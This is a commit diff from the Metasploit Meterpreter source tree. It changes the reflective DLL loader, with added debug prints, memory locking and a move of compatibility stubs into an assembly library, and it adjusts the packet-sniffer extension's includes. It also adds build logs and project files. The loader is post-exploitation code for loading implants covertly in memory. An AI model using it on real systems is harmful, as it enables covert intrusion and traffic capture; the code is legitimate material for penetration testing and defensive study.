Checkin new code
parent
2d0d5287d2
commit
11b875d84d
|
@ -40,25 +40,39 @@ HMODULE hMetSrv = NULL;
|
|||
// To enable all of this in a new extnesion:
|
||||
// 1. Add metsrv.dll to the DELAYLOAD option in the projects properties (Configuration->Linker->Input).
|
||||
// 2. Add in the include file #include "DelayLoadMetSrv.h".
|
||||
// 3. Add the macro "EnableDelayLoadMetSrv();" after all you includes.
|
||||
// 3. Add the macro "EnableDelayLoadMetSrv();" after all your includes.
|
||||
// 4. Add the line "hMetSrv = remote->hMetSrv;" in your InitServerExtension() function.
|
||||
|
||||
//===============================================================================================//
|
||||
|
||||
|
||||
|
||||
|
||||
FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli )
|
||||
{
|
||||
switch( dliNotify )
|
||||
{
|
||||
case dliNotePreLoadLibrary:
|
||||
// If we are tryinig to delay load metsrv.dll we can just return the
|
||||
OutputDebugStringA("DELAY LOAD: ");
|
||||
OutputDebugStringA(pdli->szDll);
|
||||
OutputDebugStringA("\n");
|
||||
// If we are trying to delay load metsrv.dll we can just return the
|
||||
// HMODULE of the injected metsrv library (set in InitServerExtension).
|
||||
if( strcmp( pdli->szDll, "metsrv.dll" ) == 0 )
|
||||
OutputDebugStringA("FOUND!\n");
|
||||
return (FARPROC)hMetSrv;
|
||||
break;
|
||||
case dliNotePreGetProcAddress :
|
||||
OutputDebugStringA("DELAY FIND: ");
|
||||
OutputDebugStringA(pdli->szDll);
|
||||
OutputDebugStringA(" - ");
|
||||
OutputDebugStringA(pdli->dlp.szProcName);
|
||||
OutputDebugStringA("\n");
|
||||
// If we are trying to get the address of an exported function in the
|
||||
// metsrv.dll we must use GetProcAddressR() in case the metsrv was loaded
|
||||
// via reflective dll injection
|
||||
if( strcmp( pdli->szDll, "metsrv.dll" ) == 0 )
|
||||
OutputDebugStringA("FOUND!\n");
|
||||
return GetProcAddressR( pdli->hmodCur, pdli->dlp.szProcName );
|
||||
break;
|
||||
default:
|
||||
|
|
|
@ -31,7 +31,7 @@
|
|||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Delayimp.h>
|
||||
#include "DelayLoadMetSrv.h"
|
||||
|
||||
#pragma comment (lib,"Delayimp.lib")
|
||||
|
||||
// we use this like a macro to set the hook in an server extension that requires it
|
||||
|
|
|
@ -40,6 +40,10 @@ FARPROC WINAPI GetProcAddressR( HANDLE hModule, LPCSTR lpProcName )
|
|||
// a module handle is really its base address
|
||||
uiLibraryAddress = (UINT_PTR)hModule;
|
||||
|
||||
OutputDebugStringA("GetProcAddressR: ");
|
||||
OutputDebugStringA(lpProcName);
|
||||
OutputDebugStringA("\n");
|
||||
|
||||
__try
|
||||
{
|
||||
UINT_PTR uiAddressArray = 0;
|
||||
|
|
|
@ -63,6 +63,8 @@ DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
|
|||
DWORD dwMeterpreterArch = 1;
|
||||
#endif
|
||||
|
||||
OutputDebugStringA("GetReflectiveLoaderOffset\n");
|
||||
|
||||
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
|
||||
|
||||
// get the File Offset of the modules NT Header
|
||||
|
@ -72,11 +74,13 @@ DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
|
|||
// been compiled as, due to various offset in the PE structures being defined at compile time.
|
||||
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
|
||||
{
|
||||
OutputDebugStringA("GetReflectiveLoaderOffset: Win32\n");
|
||||
if( dwMeterpreterArch != 1 )
|
||||
return 0;
|
||||
}
|
||||
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
|
||||
{
|
||||
OutputDebugStringA("GetReflectiveLoaderOffset: Win64\n");
|
||||
if( dwMeterpreterArch != 2 )
|
||||
return 0;
|
||||
}
|
||||
|
@ -103,13 +107,19 @@ DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
|
|||
// get a counter for the number of exported functions...
|
||||
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
|
||||
|
||||
OutputDebugStringA("GetReflectiveLoaderOffset: Looping\n");
|
||||
|
||||
// loop through all the exported functions to find the ReflectiveLoader
|
||||
while( dwCounter-- )
|
||||
{
|
||||
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
|
||||
OutputDebugStringA("GetReflectiveLoaderOffset: Found ");
|
||||
OutputDebugStringA(cpExportedFunctionName);
|
||||
OutputDebugStringA("\n");
|
||||
|
||||
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
|
||||
{
|
||||
OutputDebugStringA("GetReflectiveLoaderOffset: Found Function\n");
|
||||
// get the File Offset for the array of addresses
|
||||
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
||||
|
||||
|
@ -142,6 +152,8 @@ HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
|
|||
if( lpBuffer == NULL || dwLength == 0 )
|
||||
return NULL;
|
||||
|
||||
OutputDebugStringA("LoadLibraryR()\n");
|
||||
|
||||
__try
|
||||
{
|
||||
// check if the library has a ReflectiveLoader...
|
||||
|
@ -155,9 +167,11 @@ HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
|
|||
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
|
||||
{
|
||||
// call the librarys ReflectiveLoader...
|
||||
OutputDebugStringA("Calling pReflectiveLoader\n");
|
||||
pDllMain = (DLLMAIN)pReflectiveLoader();
|
||||
if( pDllMain != NULL )
|
||||
{
|
||||
OutputDebugStringA("Calling DLLMain\n");
|
||||
// call the loaded librarys DllMain to get its HMODULE
|
||||
// Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only.
|
||||
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
|
||||
|
|
|
@ -54,6 +54,9 @@ DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
|
|||
LOADLIBRARYA pLoadLibraryA;
|
||||
GETPROCADDRESS pGetProcAddress;
|
||||
VIRTUALALLOC pVirtualAlloc;
|
||||
VIRTUALLOCK pVirtualLock;
|
||||
OUTPUTDEBUG pOutputDebug;
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
|
@ -74,19 +77,11 @@ DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
|
|||
UINT_PTR uiValueB;
|
||||
UINT_PTR uiValueC;
|
||||
UINT_PTR uiValueD;
|
||||
UINT_PTR uiValueE;
|
||||
|
||||
// hijacked import pointers for backwards compatibility
|
||||
UINT_PTR encodePointerStub = 0;
|
||||
UINT_PTR encodePointerStubBody = 0;
|
||||
UINT_PTR heapSetInfoStub = 0;
|
||||
UINT_PTR heapSetInfoStubBody = 0;
|
||||
|
||||
// matching string for function stubs
|
||||
char patEncodePointer[12] = { 'c', 'o', 'd', 'e', 'P', 'o', 'i', 'n', 't', 'e', 'r', 0 };
|
||||
char patHeapSetInformation[19] = { 'H', 'e', 'a', 'p', 'S', 'e', 't', 'I', 'n', 'f', 'o', 'r', 'm', 'a', 't', 'i', 'o', 'n', 0 };
|
||||
register UINT_PTR inspect;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our current EIP
|
||||
#ifdef _WIN64
|
||||
uiLibraryAddress = eip();
|
||||
|
@ -96,21 +91,6 @@ DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
|
|||
geteip:
|
||||
pop uiLibraryAddress
|
||||
}
|
||||
|
||||
__asm {
|
||||
call get_encodepointer
|
||||
mov eax, [esp+4]
|
||||
ret 4
|
||||
get_encodepointer:
|
||||
pop encodePointerStubBody
|
||||
|
||||
|
||||
call get_heapsetinfo
|
||||
mov eax, 1
|
||||
ret 16
|
||||
get_heapsetinfo:
|
||||
pop heapSetInfoStubBody
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
|
@ -160,7 +140,7 @@ get_heapsetinfo:
|
|||
do
|
||||
{
|
||||
uiValueC = ror( (DWORD)uiValueC );
|
||||
// normalize to uppercase if the madule name is in lowercase
|
||||
// normalize to uppercase if the module name is in lowercase
|
||||
if( *((BYTE *)uiValueB) >= 'a' )
|
||||
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
||||
else
|
||||
|
@ -193,7 +173,7 @@ get_heapsetinfo:
|
|||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 3;
|
||||
usCounter = 5;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
|
@ -202,7 +182,7 @@ get_heapsetinfo:
|
|||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
|
||||
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH || dwHashValue == VIRTUALLOCK_HASH || dwHashValue == OUTPUTDEBUG_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
@ -217,7 +197,10 @@ get_heapsetinfo:
|
|||
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == VIRTUALALLOC_HASH )
|
||||
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
|
||||
else if( dwHashValue == VIRTUALLOCK_HASH )
|
||||
pVirtualLock = (VIRTUALLOCK)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == OUTPUTDEBUG_HASH )
|
||||
pOutputDebug = (OUTPUTDEBUG)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
@ -237,6 +220,9 @@ get_heapsetinfo:
|
|||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (UINT_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
// prevent our image from being swapped to the pagefile
|
||||
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
|
@ -244,24 +230,16 @@ get_heapsetinfo:
|
|||
uiValueC = uiBaseAddress;
|
||||
__movsb( (PBYTE)uiValueC, (PBYTE)uiValueB, uiValueA );
|
||||
|
||||
// create a new allocation just for our EncodePointer stub and copy the method body into it
|
||||
if (encodePointerStubBody) {
|
||||
encodePointerStub = (UINT_PTR)pVirtualAlloc( NULL, 128, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
__movsb( (PBYTE)encodePointerStub, (PBYTE)encodePointerStubBody, 128 );
|
||||
}
|
||||
|
||||
// create a new allocation just for our EncodePointer stub and copy the method body into it
|
||||
if (heapSetInfoStubBody) {
|
||||
heapSetInfoStub = (UINT_PTR)pVirtualAlloc( NULL, 128, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
__movsb( (PBYTE)heapSetInfoStub, (PBYTE)heapSetInfoStubBody, 128 );
|
||||
}
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ( (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
while( ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections-- )
|
||||
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
|
||||
// iterate through all sections, loading them into memory.
|
||||
while( uiValueE-- )
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
|
||||
|
@ -280,19 +258,30 @@ get_heapsetinfo:
|
|||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
|
||||
// we assume their is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// itterate through all imports
|
||||
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
|
||||
uiValueC = ( uiBaseAddress + (UINT_PTR)((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
|
||||
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
|
||||
{
|
||||
/*
|
||||
pOutputDebug("Loading library: ");
|
||||
pOutputDebug((LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ));
|
||||
pOutputDebug("\n");
|
||||
*/
|
||||
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (UINT_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
||||
|
||||
if (! uiLibraryAddress) {
|
||||
//pOutputDebug("Loading library FAILED\n");
|
||||
// get the next import
|
||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
continue;
|
||||
}
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
||||
|
||||
|
@ -327,22 +316,14 @@ get_heapsetinfo:
|
|||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
||||
|
||||
/*
|
||||
pOutputDebug("Resolving function: ");
|
||||
pOutputDebug((LPCSTR)( (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ));
|
||||
pOutputDebug("\n");
|
||||
*/
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||
|
||||
// handled failed lookups for specific routines unimplemented in older Windows
|
||||
// this enables VC2010+ compatiblity for older target platforms
|
||||
if (! DEREF(uiValueA)) {
|
||||
// (System)(Encode|Decode)Pointer
|
||||
if (inline_strstr( (char *)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name, patEncodePointer) > 0) {
|
||||
if (encodePointerStub) DEREF(uiValueA) = encodePointerStub;
|
||||
}
|
||||
// HeapSetInformation
|
||||
if (inline_strstr( (char *)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name, patHeapSetInformation) > 0) {
|
||||
if (encodePointerStub) DEREF(uiValueA) = heapSetInfoStub;
|
||||
}
|
||||
}
|
||||
DEREF(uiValueA) = (UINT_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||
|
||||
}
|
||||
// get the next imported function
|
||||
|
@ -355,6 +336,7 @@ get_heapsetinfo:
|
|||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
}
|
||||
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
|
|
|
@ -42,11 +42,15 @@
|
|||
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
||||
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
||||
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T);
|
||||
typedef LPVOID (WINAPI * OUTPUTDEBUG)(LPCSTR);
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define VIRTUALLOCK_HASH 0x0ef632f2
|
||||
#define OUTPUTDEBUG_HASH 0x470d22bc
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
|
@ -71,19 +75,6 @@ __forceinline DWORD hash( char * c )
|
|||
return h;
|
||||
}
|
||||
|
||||
__forceinline char * inline_strstr( char *p, char *q )
|
||||
{
|
||||
for(; *p; ++p)
|
||||
{
|
||||
const char *p_tmp = p;
|
||||
const char *q_tmp = q;
|
||||
for( ; *p_tmp == *q_tmp && *q_tmp; ++p_tmp, ++q_tmp)
|
||||
if( *p == *q && !*q_tmp ) return p;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
|
|
|
@ -0,0 +1,24 @@
|
|||
.model flat, C
|
||||
|
||||
.data
|
||||
__imp__EncodePointer@4 dd dummy
|
||||
__imp__DecodePointer@4 dd dummy
|
||||
__imp__HeapSetInformation@16 dd dummy2
|
||||
|
||||
EXTERNDEF __imp__EncodePointer@4 : DWORD
|
||||
EXTERNDEF __imp__DecodePointer@4 : DWORD
|
||||
EXTERNDEF __imp__HeapSetInformation@16 : DWORD
|
||||
|
||||
.code
|
||||
|
||||
dummy proc
|
||||
mov eax, [esp+4]
|
||||
ret 4
|
||||
dummy endp
|
||||
|
||||
dummy2 proc
|
||||
mov eax, 1
|
||||
ret 10h
|
||||
dummy2 endp
|
||||
|
||||
end
|
|
@ -129,10 +129,11 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
|
|||
|
||||
#ifdef _WIN32
|
||||
|
||||
|
||||
#include <wininet.h>
|
||||
|
||||
// Enable debugging
|
||||
// #define DEBUGTRACE 1
|
||||
//#define DEBUGTRACE 1
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
|
|
|
@ -13,7 +13,6 @@
|
|||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
//#include "../../../ReflectiveDLLInjection/ReflectiveLoader.c"
|
||||
Command customCommands[] =
|
||||
{
|
||||
|
||||
|
|
|
@ -0,0 +1,23 @@
|
|||
#ifndef METERPRETER_SOURCE_EXTENSION_SNIFFER_SERVER_PRECOMP_H
|
||||
#define METERPRETER_SOURCE_EXTENSION_SNIFFER_SERVER_PRECOMP_H
|
||||
|
||||
#define _WIN32_WINNT 0x0400
|
||||
|
||||
#include "sniffer.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
|
||||
#include "../../ReflectiveDLLInjection/GetProcAddressR.h"
|
||||
#include "../../ReflectiveDLLInjection/ReflectiveLoader.h"
|
||||
|
||||
// declared in ReflectiveLoader.c and set by DllMain also in ReflectiveLoader.c
|
||||
extern HINSTANCE hAppInstance;
|
||||
|
||||
#endif
|
||||
|
||||
#define strcasecmp stricmp
|
||||
|
||||
|
||||
|
||||
#endif
|
|
@ -2,27 +2,32 @@
|
|||
* This module implements packet sniffing features
|
||||
*/
|
||||
#define _CRT_SECURE_NO_DEPRECATE 1
|
||||
#include "../../common/common.h"
|
||||
|
||||
#include "sniffer.h"
|
||||
|
||||
#include "precomp.h"
|
||||
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../ReflectiveDLLInjection/ReflectiveLoader.c"
|
||||
|
||||
// NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
|
||||
#define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){packet_transmit_response(hErr, remote, response);return(hErr);}
|
||||
|
||||
HANDLE hMgr;
|
||||
DWORD hErr;
|
||||
|
||||
DWORD pktsdk_initialize(void) {
|
||||
dprintf("sniffer>> calling MgrCreate()...");
|
||||
|
||||
hMgr = MgrCreate();
|
||||
if(! hMgr){
|
||||
dprintf("sniffer>> failed to allocate a new Mgr object");
|
||||
|
@ -60,6 +65,10 @@ void __stdcall sniffer_receive(DWORD_PTR Param, DWORD_PTR ThParam, HANDLE hPacke
|
|||
|
||||
#else // posix side
|
||||
|
||||
#include "sniffer.h"
|
||||
#include "../../common/common.h"
|
||||
|
||||
|
||||
#define check_pssdk()
|
||||
|
||||
char *get_interface_name_by_index(unsigned int fidx)
|
||||
|
@ -671,7 +680,7 @@ DWORD request_sniffer_capture_start(Remote *remote, Packet *packet) {
|
|||
|
||||
#endif
|
||||
|
||||
j->pkts = calloc(maxp, sizeof(HANDLE));
|
||||
j->pkts = (HANDLE *) calloc(maxp, sizeof(HANDLE));
|
||||
if(j->pkts == NULL) {
|
||||
#ifdef _WIN32
|
||||
AdpCloseAdapter(j->adp);
|
||||
|
@ -1089,6 +1098,8 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
|||
{
|
||||
DWORD index;
|
||||
|
||||
hMetSrv = remote->hMetSrv;
|
||||
|
||||
dprintf("[SERVER] Registering command handlers...");
|
||||
for (index = 0; customCommands[index].method; index++) {
|
||||
dprintf("Registering command index %d", index);
|
||||
|
|
|
@ -3,6 +3,8 @@
|
|||
|
||||
#ifdef _WIN32
|
||||
|
||||
#include "../../common/common.h"
|
||||
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
|
||||
|
|
|
@ -12,6 +12,9 @@
|
|||
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#define _WIN32_WINNT 0x0500
|
||||
|
||||
#define USE_DLL
|
||||
#endif
|
||||
#define METERPRETER_EXPORTS
|
||||
|
|
|
@ -0,0 +1,37 @@
|
|||
========================================================================
|
||||
STATIC LIBRARY : backcompat Project Overview
|
||||
========================================================================
|
||||
|
||||
AppWizard has created this backcompat library project for you.
|
||||
|
||||
This file contains a summary of what you will find in each of the files that
|
||||
make up your backcompat application.
|
||||
|
||||
|
||||
backcompat.vcxproj
|
||||
This is the main project file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the version of Visual C++ that generated the file, and
|
||||
information about the platforms, configurations, and project features selected with the
|
||||
Application Wizard.
|
||||
|
||||
backcompat.vcxproj.filters
|
||||
This is the filters file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the association between the files in your project
|
||||
and the filters. This association is used in the IDE to show grouping of files with
|
||||
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
|
||||
"Source Files" filter).
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
StdAfx.h, StdAfx.cpp
|
||||
These files are used to build a precompiled header (PCH) file
|
||||
named backcompat.pch and a precompiled types file named StdAfx.obj.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other notes:
|
||||
|
||||
AppWizard uses "TODO:" comments to indicate parts of the source code you
|
||||
should add to or customize.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
6
external/source/meterpreter/workspace/backcompat/Release/backcompat.Build.CppClean.log
vendored
Normal file
6
external/source/meterpreter/workspace/backcompat/Release/backcompat.Build.CppClean.log
vendored
Normal file
|
@ -0,0 +1,6 @@
|
|||
C:\USERS\DEVELOPER\DOCUMENTS\GITHUB\METASPLOIT-FRAMEWORK\EXTERNAL\SOURCE\METERPRETER\WORKSPACE\BACKCOMPAT\RELEASE\BACKCOMPAT.LIB
|
||||
C:\Users\Developer\Documents\GitHub\metasploit-framework\external\source\meterpreter\workspace\backcompat\Release\backcompat.obj
|
||||
C:\Users\Developer\Documents\GitHub\metasploit-framework\external\source\meterpreter\workspace\backcompat\Release\backcompat.write.1.tlog
|
||||
C:\Users\Developer\Documents\GitHub\metasploit-framework\external\source\meterpreter\workspace\backcompat\Release\lib.command.1.tlog
|
||||
C:\Users\Developer\Documents\GitHub\metasploit-framework\external\source\meterpreter\workspace\backcompat\Release\Lib-link.read.1.tlog
|
||||
C:\Users\Developer\Documents\GitHub\metasploit-framework\external\source\meterpreter\workspace\backcompat\Release\Lib-link.write.1.tlog
|
|
@ -0,0 +1,9 @@
|
|||
Build started 6/24/2012 1:28:20 PM.
|
||||
1>Project "C:\Users\Developer\Documents\GitHub\metasploit-framework\external\source\meterpreter\workspace\backcompat\backcompat.vcxproj" on node 3 (clean target(s)).
|
||||
1>_PrepareForClean:
|
||||
Deleting file "Release\backcompat.lastbuildstate".
|
||||
1>Done Building Project "C:\Users\Developer\Documents\GitHub\metasploit-framework\external\source\meterpreter\workspace\backcompat\backcompat.vcxproj" (clean target(s)).
|
||||
|
||||
Build succeeded.
|
||||
|
||||
Time Elapsed 00:00:00.03
|
|
@ -0,0 +1,92 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{C6FB3275-9067-4BBA-9206-0A720D2BC64F}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>backcompat</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>StaticLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
